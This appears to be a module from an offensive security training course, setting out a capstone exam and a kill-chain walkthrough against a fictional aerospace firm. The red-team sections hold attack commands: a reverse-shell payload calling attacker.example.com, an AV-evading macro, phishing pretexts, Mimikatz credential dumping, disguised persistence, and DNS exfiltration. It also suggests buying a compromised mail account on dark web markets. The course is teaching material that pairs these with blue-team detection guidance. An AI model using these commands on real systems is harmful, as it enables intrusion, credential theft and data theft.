Module 21: Capstone CERTIFICATION

Module 21 of 22 — Prove you can do it alone

🧠 The Core Truth

Knowledge is not competence. You can read every module, memorize every command, and still fail when it matters. The capstone is a live, unassisted exercise — you against a target network, with a time limit, no hints, and real consequences. Pass, and you earn the 22nd Survey Division certification. Fail, and you know exactly where to study.

Why this matters: In the real world, there are no hints. No walkthroughs. No second chances. The capstone is designed to simulate the stress, uncertainty, and complexity of a real engagement. If you can pass this, you can operate in the field.

🎯 Soldier Translation

This is the final exercise. No instructor, no hints, no safety net. You have a mission: compromise a target network, escalate privileges, establish persistence, and exfiltrate data. You have 8 hours. Your tools are your own. Your decisions are your own. Your success or failure is your own. This is what separates the operator from the student.

Think of it as a live-fire exercise. The targets are real. The defenses are real. The only difference is that nobody dies if you fail — but your reputation does.

🔗 Chaining Is the Real Skill

The capstone is where you prove you can chain it.

Knowing how to run nmap or Mimikatz in isolation is not enough. The capstone forces you to string reconnaissance, exploitation, privilege escalation, lateral movement, and exfiltration into one continuous operation. One tool gets you a foothold; the chain gets you the domain.

Layman terms: Anyone can swing a hammer. The test is whether you can build the whole house.

🔴 Red: Map every phase into the next 🔵 Blue: Break the chain at any link 🟣 Purple: Validate chain coverage together

📚 Capstone Overview

The 22nd Survey Division Capstone is a comprehensive, hands-on assessment that evaluates your ability to execute a full offensive security engagement from reconnaissance to exfiltration. It is not a test of memorization — it is a test of judgment, adaptability, and technical depth.

🔬 What the Capstone Measures

CompetencyWhy It MattersModules Applied
ReconnaissanceYou cannot attack what you do not understand02, 01
Initial AccessEvery breach starts with a foothold10, 17, 09
Privilege EscalationUsers cannot steal domain secrets08, 11
PersistenceAccess that evaporates is worthless07, 12
Credential AccessCredentials are the keys to the kingdom06, 19
Lateral MovementOne machine is never the goal15, 14
Domain CompromiseThe crown jewel of every engagement19, 20
ExfiltrationData stolen is data proven16, 13
DocumentationUndocumented exploitation is indistinguishable from imaginationAll modules

🌍 The GeoDefend Scenario

GeoDefend is a fictional mid-sized aerospace engineering firm with approximately 500 employees, a hybrid cloud infrastructure, and a recently deployed EDR solution. They are the target for this capstone. Your client engagement letter authorizes you to test their external perimeter, internal network segmentation, and Active Directory security posture.

GeoDefend — Target Profile

Why GeoDefend?

GeoDefend represents a typical high-value target in the defense industrial base (DIB). They are not a Fortune 500 with unlimited security budget, nor are they a small business with no defenses. They are the sweet spot for adversaries: valuable data, moderate defenses, and realistic attack surface. If you can compromise GeoDefend, you can compromise thousands of real companies just like it.

🛠️ One Tool Does Not Make a Hacker

A single tool doesn't make you a hacker, chaining does.

Metasploit, BloodHound, and Cobalt Strike are force multipliers, not replacements for judgment. The capstone will hand you nothing. You must decide which tool fits each phase, when to abandon a failing approach, and how to recover when your favorite technique is blocked by EDR or segmentation.

Layman terms: A race car doesn't make you a champion driver — knowing when to brake, accelerate, and overtake does.

🔴 Red: Combine tools into a workflow, not a checklist 🔵 Blue: Detect the gaps between tools, not just the tools 🟣 Purple: Share tool telemetry so blue sees what red uses

⚔️ Full Kill Chain Walkthrough

This section walks through the complete attack chain against GeoDefend, from initial reconnaissance to final exfiltration. Each phase maps to modules you have already studied. This is not a hint — it is a demonstration of what mastery looks like.

1. RECON

OSINT

Map the target surface

2. WEAPONIZE

Payload

Build the delivery package

3. DELIVER

Phish

Get the payload to the target

4. EXPLOIT

Execute

Trigger the payload

5. INSTALL

Implant

Establish C2 beacon

6. C2

Control

Remote interactive access

7. ACTION

Achieve

Exfiltrate the objective

Phase 1: Reconnaissance

🔴 Red Team: External Recon

Before touching the target, you build an intelligence profile. Everything you learn now reduces surprise later.

# Passive reconnaissance — no direct contact with target # Module 02: Reconnaissance techniques # 1. Identify subdomains and external hosts subfinder -d geodefend.com -o subs.txt assetfinder --subs-only geodefend.com >> subs.txt amass enum -d geodefend.com -o amass.txt # 2. Probe for live web services httpx -l subs.txt -o live_hosts.txt -title -tech-detect -status-code # 3. Find exposed S3 buckets (Module 14: Cloud Files) python3 cloud_enum.py -k geodefend # OR aws s3 ls s3://geodefend-backups --no-sign-request 2>/dev/null # 4. Harvest employee emails for phishing (Module 17: Social Engineering) theHarvester -d geodefend.com -b linkedin,google -f harvest.json # 5. Identify technology stack for targeted exploitation wappalyzer-cli https://portal.geodefend.com
Why this order matters

Passive reconnaissance first. Every packet you send to the target is a potential detection event. Start with public data (subdomains, LinkedIn, job postings) before sending a single packet to their infrastructure. The more you know before you touch the target, the fewer mistakes you make when you do.

🔵 Blue Team: Detection Opportunities

Defenders should monitor for the reconnaissance phase — it is the only phase where the attacker is not yet inside.

Phase 2: Weaponization

🔴 Red Team: Building the Payload

Weaponization is where you package your exploit into a deliverable form. For GeoDefend, we weaponize a malicious macro document targeting the engineering team's CAD software procurement process.

# Weaponization workflow — Modules 05, 09, 10, 13 # 1. Generate raw shellcode (Module 05: Shellcode) msfvenom -p windows/x64/meterpreter/reverse_https \ LHOST=attacker.example.com LPORT=443 \ EXITFUNC=thread -f raw -o raw.bin # 2. Encrypt and embed into VBA macro (Module 09: Malware) # Use XOR encryption with runtime decryption to evade static AV python3 encrypt_macro.py --input raw.bin --output macro.vba # 3. Test against local AV (Module 13: EDR Evasion) # Upload to VirusTotal (only if authorized) or local sandbox # Goal: 0/70 detections before delivery # 4. Build the pretext (Module 17: Social Engineering) # Subject: "Updated CAD License Agreement — Action Required by Friday" # Sender: spoofed as procurement@geodefend.com # Attachment: CAD_License_Update_2024.docm

🔵 Blue Team: Weaponization Indicators

Phase 3: Delivery

🔴 Red Team: Phishing Campaign

Delivery is the moment of truth. The best payload in the world is useless if the target never opens it.

# Delivery setup — Module 17: Social Engineering # 1. Clone a legitimate login page for credential harvesting gophish clone --url https://portal.geodefend.com --name geo_portal # 2. Configure SMTP relay using compromised legitimate service # (e.g., SendGrid account purchased from dark web market) # 3. Segment targets: engineers first (highest privilege, least suspicion) # Subject urgency: "CAD license expires in 48 hours — update required" # 4. Track opens and clicks (for reporting, not for premature exploitation) # Wait for at least 3 clicks before escalating to next phase

🔵 Blue Team: Delivery Detection

Phase 4: Exploitation

🔴 Red Team: Triggering the Payload

The user opens the document and enables macros. The VBA macro decrypts the embedded shellcode and injects it into a legitimate process using process hollowing (Module 10).

# Post-exploitation initial actions — Modules 08, 10, 11 # 1. Immediate situational awareness whoami /all hostname systeminfo | findstr /B /C:"OS" /C:"System Type" # 2. Check privilege level and escalation path # (Module 08: Privilege Escalation) privilege::debug sekurlsa::logonpasswords # 3. Enumerate local AV/EDR # (Module 12: Defensive Verification) sc query windefend Get-Process | Where-Object {$_.ProcessName -match "CrowdStrike|SentinelOne|CarbonBlack"} # 4. If standard user, identify unpatched local privilege escalation # (Module 08: JuicyPotato, PrintSpooler, etc.) winPEASany.exe quiet

🔵 Blue Team: Exploitation Detection

Phase 5: Installation

🔴 Red Team: Establishing Persistence

One beacon is not enough. You need multiple persistence mechanisms so that losing one does not mean losing access.

# Persistence mechanisms — Modules 07, 11, 12 # 1. Registry run key (Module 07: Registry) reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v "OneDriveUpdate" /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Local\Microsoft\OneDrive\update.exe" /f # 2. Scheduled task (stealthy, no admin required) schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\Tasks\edge_update.exe" \ /sc onlogon /ru SYSTEM /f # 3. WMI event subscription (fileless persistence — Module 11: Rootkits) $FilterArgs = @{ Name='WinUpdateFilter' EventNameSpace='root\\cimv2' QueryLanguage='WQL' Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" } $Filter = New-CimInstance -Namespace root\subscription -ClassName __EventFilter -Property $FilterArgs # 4. Service creation (requires admin — use after privilege escalation) sc create "WindowsSysUpdate" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto

🔵 Blue Team: Persistence Detection

Phase 6: Command & Control

🔴 Red Team: C2 Infrastructure

C2 is your lifeline. If it is detected and cut, the engagement is over. Use domain fronting, HTTPS, and jitter to blend in.

# C2 setup and evasion — Modules 13, 16 # 1. Domain fronting through Azure CDN (Module 16: C2) # Host: a1b2c3d4.cloudfront.net # X-Forwarded-Host: attacker.example.com # To defenders: looks like legitimate Azure traffic # 2. Beacon jitter — avoid regular intervals set jitter 35% # 30-second beacon becomes 19.5-40.5 seconds # 3. Sleep obfuscation (Module 13: EDR Evasion) # Encrypt beacon in memory during sleep to evade memory scanners # 4. Named pipe pivoting for lateral movement (Module 15: Lateral Movement) # Internal C2 over SMB pipes to avoid firewall egress rules

🔵 Blue Team: C2 Detection

Phase 7: Actions on Objectives — Exfiltration

🔴 Red Team: Data Exfiltration

The final objective: extract the flag file and sensitive data without triggering DLP or network alerts.

# Exfiltration techniques — Modules 14, 16 # 1. Compress and encrypt data before exfiltration 7z a -psecret -mhe=on archive.7z C:\flag.txt C:\GeoDefend\CAD_Designs\ # 2. Exfiltrate via DNS TXT records (slow, stealthy) # Module 16: C2 — split file into chunks, base64 encode, query as subdomains for chunk in $(split -b 63 archive.7z.enc); do dig +short $chunk.attacker.example.com done # 3. Exfiltrate via legitimate cloud service (Module 14: Cloud Files) # Upload to attacker-controlled OneDrive / Dropbox / GitHub Gist # Blends with normal user behavior # 4. Verify integrity sha256sum C:\flag.txt # Expected: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

🔵 Blue Team: Exfiltration Detection

🔵 Blue Team Detection Playbook

Effective defense requires understanding the attacker's perspective. This section provides a structured detection playbook for each kill chain phase.

Reconnaissance Detection

Monitor for mass DNS resolution, port scanning from single sources, and certificate transparency log monitoring. Correlate external scanning with subsequent phishing attempts.

Initial Access Detection

Focus on email gateway alerts, macro execution, and browser exploitation. The first execution is your best chance to stop the chain.

Execution Detection

AMSI, PowerShell script block logging, and Sysmon Event ID 1 (process creation) are critical. Look for LOLBAS (Living Off The Land Binaries and Scripts).

Persistence Detection

Weekly Autoruns audits, WMI subscription reviews, and scheduled task baselines. Persistence is where attackers get sloppy — they leave artifacts.

Privilege Escalation Detection

Monitor for TokenPrivilege adjustments, named pipe impersonation, and UAC bypass techniques. Event ID 4673 (privileged service call) is valuable.

Credential Access Detection

LSASS access by non-system processes, Kerberoasting (Event ID 4769), and DCSync (Event ID 4662 with replication rights). Enable Audit Credential Validation.

Lateral Movement Detection

Monitor for SMB connections from workstations to workstations, WMI remote execution (Event ID 5856), and RDP lateral movement (Event ID 4624 Type 10).

Exfiltration Detection

DLP alerts, DNS tunneling detection, and outbound data volume baselines. The attacker has already won — now you need to know what they took.

🟣 Purple Team Analysis

Purple teaming is the collaborative integration of red and blue capabilities. The goal is not to "win" but to improve organizational resilience through continuous feedback.

🟣 Purple Team Methodology

  1. Plan: Define scope, rules of engagement, and success criteria jointly
  2. Execute: Red team attacks while blue team observes in real-time
  3. Analyze: Review detection gaps, missed alerts, and false positives
  4. Improve: Blue team implements new detections; red team validates evasion
  5. Repeat: Continuous cycle — security is not a destination
Gap Analysis

After each engagement, map every technique to MITRE ATT&CK and identify undetected TTPs. These are your highest priority improvements.

Detection Engineering

Convert red team techniques into detection rules: Sigma, YARA, Splunk SPL, or KQL. Test with red team before deploying to production.

Metrics That Matter

Mean Time to Detect (MTTD), Mean Time to Respond (MTTR), and dwell time. Track these over time to measure improvement, not just activity.

Adversary Emulation

Use tools like Caldera, Atomic Red Team, or Prelude to continuously validate detections. Automated purple team exercises scale what manual engagements cannot.

📋 Exam Structure

🎯 Environment

You are given VPN access to a lab network with three machines:

Your starting position: VPN access only. No credentials. No prior knowledge.

📝 Document Everything or It Did Not Happen

Document everything.

In the capstone, an undocumented exploit is worth zero points. In the field, undocumented findings are indistinguishable from imagination. Screenshot commands, save output, timestamp actions, and write the narrative while you work. Your report is the product — the compromise is just evidence.

Layman terms: A detective can solve a case, but without a case file the prosecutor has nothing. Write it down.

🔴 Red: Every command, screenshot, and pivot must be logged 🔵 Blue: Logs are the evidence chain for incident response 🟣 Purple: Compare red notes with blue telemetry to close gaps

🎯 Objectives

Task 1: Initial Access (10 points)

Gain a foothold on any machine in the network. Document your reconnaissance, the vulnerability identified, and the exploit used.

Hint: WEB01 has a web application. What does it do? What does it trust?

Task 2: Privilege Escalation (15 points)

Escalate from standard user to local administrator or SYSTEM. Document the technique and the verification method.

Task 3: Persistence (10 points)

Establish at least two persistence mechanisms. Verify they survive reboot.

Task 4: Credential Access (15 points)

Extract credentials from memory or disk. Document the method and the credentials recovered.

Task 5: Lateral Movement (15 points)

Move from your initial foothold to at least one other machine. Document the path and the technique.

Task 6: Domain Compromise (20 points)

Compromise the Domain Controller (DC01). Document the full attack chain from initial access to Domain Admin.

Task 7: Exfiltration (10 points)

Exfiltrate the flag file from DC01: C:\flag.txt. Document the method and verify the flag hash.

⏱️ Time Limit

8 hours from VPN connection. The exam auto-terminates after 8 hours. Partial submissions are accepted but scored accordingly.

📝 Submission Requirements

Submit a report containing:

  1. Executive summary (1 page) — what you did, what you found, what you recommend
  2. Technical narrative — step-by-step with screenshots and command output
  3. Attack chain diagram — visual flow from initial access to Domain Admin
  4. Remediation recommendations — how to fix every vulnerability exploited
  5. Flag hash — SHA256 of C:\flag.txt

🏆 Scoring

90-100 points PASS with Distinction
70-89 points PASS
0-69 points FAIL — Retake required

🧠 Interactive Quizzes

Test your readiness before attempting the capstone. Each quiz covers critical concepts from the full course.

Quiz 1: Kill Chain Fundamentals

Question: During the GeoDefend engagement, you discover that WEB01 is running an outdated version of Apache Struts. Which kill chain phase are you currently in, and what is the most appropriate next action?

A) Weaponization — build a Struts exploit payload and deliver it immediately
B) Reconnaissance — continue mapping the environment before selecting an exploit
C) Exploitation — attempt the Struts vulnerability directly without further recon
D) Installation — establish persistence on WEB01 first, then exploit

Quiz 2: Blue Team Detection

Question: Your EDR alerts on LSASS memory access by a process named rundll32.exe with command line rundll32.exe C:\Users\jdoe\AppData\Local\Temp\update.dll, DllRegisterServer. Which detection strategy would most reliably identify this as malicious?

A) Block all rundll32.exe execution — it is never legitimately used
B) Alert on rundll32.exe loading DLLs from user-writable directories
C) Alert only if the DLL is not signed by Microsoft
D) This is normal Windows behavior — no action needed

Quiz 3: Purple Team Integration

Question: After a red team engagement, you discover that 60% of techniques used were not detected by the blue team. What is the most appropriate purple team response?

A) Blame the blue team for poor detection and demand immediate improvement
B) Prioritize the undetected techniques by impact and likelihood, then build detections iteratively
C) Accept that some techniques are undetectable and focus on prevention instead
D) Increase the red team budget so they can find even more gaps

🎓 Career Paths

Completing the 22nd Survey Division course opens multiple career trajectories. The capstone is your proof of competence for employers.

Junior Operator

0-2 years

Penetration tester, SOC analyst, vulnerability researcher

Senior Operator

3-5 years

Red team lead, threat hunter, malware analyst

Principal / Staff

5-8 years

Offensive security architect, detection engineer, research director

Executive / Founder

8+ years

CISO, consulting partner, product founder, government advisor

Offensive Security

Penetration testing, red teaming, exploit development, malware research. High demand, high stress, high reward.

Defensive Security

Blue team operations, detection engineering, incident response, SOC leadership. Stable, structured, critical.

Purple Team / Research

Adversary emulation, threat intelligence, detection research, tool development. The bridge between offense and defense.

Government / Intelligence

National security, cyber operations, counter-intelligence, policy. Requires clearance, offers unique mission impact.

Consulting / Leadership

Security architecture, risk management, CISO advisory, board engagement. Business acumen meets technical depth.

Product Security

AppSec, DevSecOps, cloud security engineering, product management. Build secure systems at scale.

🏅 Certification Recommendations

The 22nd Survey Division certification is a foundation, not a destination. These industry certifications validate your expertise at different career stages.

OSCP (Offensive Security Certified Professional)

The gold standard for penetration testers. 24-hour practical exam, requires deep Linux and Windows exploitation knowledge.

Red Team Entry-Mid $1,600+

OSCE3 (Offensive Security Certified Expert)

Advanced exploit development, web application attacks, and EDR evasion. Three 48-hour exams. The pinnacle of offensive certifications.

Red Team Senior $2,500+

GCIH (GIAC Certified Incident Handler)

Incident response, detection, and containment. Open-book exam with practical scenarios. Ideal for blue team professionals.

Blue Team Entry-Mid $2,000+

GREM (GIAC Reverse Engineering Malware)

Static and dynamic malware analysis, reverse engineering, and threat intelligence. Essential for malware researchers.

Purple Team Mid-Senior $2,000+

CISSP (Certified Information Systems Security Professional)

Management-focused, broad security domains. Required for many government and enterprise security leadership roles.

Management Mid-Senior $750+

CRTO (Certified Red Team Operator)

Cobalt Strike-focused red team operations. 48-hour practical exam emphasizing C2, persistence, and evasion.

Red Team Mid $1,200+

BTL1 (Blue Team Level 1)

Practical blue team certification with 24-hour incident response exam. SIEM analysis, threat hunting, and forensics.

Blue Team Entry $500+

eCPPT (eLearnSecurity Certified Professional Penetration Tester)

Practical penetration testing with report writing emphasis. Good bridge between training and OSCP.

Red Team Entry $400+

📝 Preparation Checklist

Before the Exam

  1. Complete all 20 modules with hands-on practice
  2. Build your own tools (don't rely on copy-paste)
  3. Practice time management — 8 hours is tight
  4. Prepare report templates in advance
  5. Test your VPN connection and tools the day before
  6. Sleep. Caffeine is not a substitute for rest.
⚠️ Exam Rules

🎓 Lessons Learned

Every capstone attempt teaches something. Here are the most common lessons from past candidates:

Time Management

Spend the first 30 minutes on reconnaissance, not exploitation. A well-targeted attack saves hours of brute force.

Documentation Discipline

Screenshot every step as you go. Retroactive documentation is inaccurate and costs points.

Tool Reliability

Test your tools in a lab before the exam. A broken payload at hour 6 is a failed exam.

Privilege Escalation Patience

Don't chase impossible escalation paths. If one technique fails, move to another — there are always multiple paths.

Clean Exfiltration

Don't celebrate early. A compromised DC means nothing if you can't exfiltrate the flag cleanly.

Remediation Matters

The best operators find vulnerabilities and fix them. Remediation recommendations are 20% of your score.

🔗 Cross-Reference to All Modules

The capstone integrates knowledge from every module in the course. Use this index to review weak areas before attempting the exam.

Module 00 — Course Reader Module 01 — Introduction Module 01 — Networking Module 02 — Reconnaissance Module 03 — PowerShell Module 04 — Coding Basics Module 05 — Shellcode Module 06 — Memory Forensics Module 07 — Registry Module 08 — Privilege Escalation Module 09 — Malware Development Module 10 — Code Injection Module 11 — Rootkits Module 11 — AMSI Bypass Module 12 — Defensive Verification Module 12 — ETW Bypass Module 13 — EDR Evasion Module 13 — KAV Evasion Module 14 — Cloud Files Module 15 — Lateral Movement Module 16 — C2 Infrastructure Module 17 — Social Engineering Module 18 — Android Exploitation Module 19 — Active Directory Module 20 — Kill Chain Module 21 — Mobile Capstone Module 21 — Capstone (this module)

Key Takeaways

🔬 Verification Status

Exam environment ✅ 3-machine lab ready
Scoring rubric ✅ 100 points defined
Time limit ✅ 8 hours enforced
Pass criteria ✅ 70+ points required
Kill chain coverage ✅ All 7 phases mapped
Cross-module links ✅ All 22 modules linked
Interactive quizzes ✅ 3 quizzes embedded
Copy buttons ✅ All code blocks enabled